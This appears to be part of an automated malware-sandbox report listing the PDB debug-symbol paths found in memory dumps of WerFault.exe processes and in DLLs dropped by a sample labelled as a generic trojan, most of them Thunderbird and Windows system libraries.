Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000006.00000003.342505805.0000000004BD5000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377546761.00000000053D6000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393459283.0000000004DB6000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422301351.0000000002F76000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdbw source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000006.00000003.342501209.0000000004BD0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356583602.0000000004A30000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377530397.00000000053D0000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393530166.0000000004DB0000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422389368.0000000002F70000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451142915.0000000005AD0000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldif\ldif60.pdb source: ldif60.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\interfaces\msaa\AccessibleMarshal.pdb source: AccessibleMarshal.dll.2.dr
Source:	Binary string: profapi.pdbV source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: ncrypt.pdb source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb% source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: dpapi.pdb source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481600057.00000000053E0000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.517105427.0000000005980000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbj{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdb source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: api-ms-win-crt-string-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: freebl3.dll.2.dr
Source:	Binary string: winhttp.pdbU source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdbk source: WerFault.exe, 00000006.00000003.342466709.0000000004BD2000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377466481.00000000053D2000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393356164.0000000004DB2000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422145190.0000000002F72000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc.pdb source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdb_ source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbVt source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbnt source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ncrypt.pdbBK source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb! source: WerFault.exe, 00000006.00000003.342501209.0000000004BD0000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss3.pdb source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667121075.000000006E3D0000.00000002.00020000.sdmp, nss3.dll.2.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627922903.000000004C445000.00000004.00000001.sdmp, api-ms-win-core-memory-l1-1-0.dll.2.dr
Source:	Binary string: profapi.pdbD{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb% source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb_ source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc.pdb6K source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ktmw32.pdbI source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: ktmw32.pdbH source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb& source: WerFault.exe, 0000000F.00000003.393530166.0000000004DB0000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdb!)$ source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: winhttp.pdb')" source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldap\ldap60.pdb source: ldap60.dll.2.dr
Source:	Binary string: shlwapi.pdbf{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000006.00000003.342505805.0000000004BD5000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377546761.00000000053D6000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393459283.0000000004DB6000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422301351.0000000002F76000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdbt source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdbR source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: winhttp.pdbQ source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: mskeyprotect.pdb_ source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: dnsapi.pdb source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdbH{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: userenv.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdbzt source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: winhttp.pdbB source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdbk source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: winhttp.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb" source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdbPt source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ncryptsslp.pdbK source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: msasn1.pdbl{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: ntasn1.pdb source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: upwntdll.pdb source: WerFault.exe, 00000006.00000003.337190250.000000000484E000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.352500645.0000000000DDB000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.372455582.0000000004F9C000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.389344848.00000000049DE000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.436092063.000000000551B000.00000004.00000001.sdmp
Source:	Binary string: msvcr100.i386.pdb! source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: gdiplus.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdbZ source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldap\ldap60.pdbUU source: ldap60.dll.2.dr
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000006.00000003.336559037.00000000009AF000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.387887625.0000000000A3D000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.413748907.0000000000DEC000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc6.pdb source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: fwpuclnt.pdb# source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000006.00000003.342505805.0000000004BD5000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377546761.00000000053D6000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393459283.0000000004DB6000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422301351.0000000002F76000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: dpapi.pdbrK> source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: dnsapi.pdbHK source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbm source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdb-)( source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: winnsi.pdb% source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbW source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\toolkit\library\dummydll\qipcap.pdb source: qipcap.dll.2.dr
Source:	Binary string: ncryptsslp.pdb source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdbJt source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: webio.pdbx source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: api-ms-win-crt-conio-l1-1-0.dll.2.dr
Source:	Binary string: wmswsock.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: api-ms-win-crt-math-l1-1-0.dll.2.dr
Source:	Binary string: webio.pdbk source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb` source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: msasn1.pdb\ source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbht source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdbj source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdba source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb" source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000006.00000003.342501209.0000000004BD0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356583602.0000000004A30000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377530397.00000000053D0000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393530166.0000000004DB0000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422389368.0000000002F70000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451142915.0000000005AD0000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb~{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: webio.pdbI source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdbr source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: ktmw32.pdbbt source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdbg source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdb source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
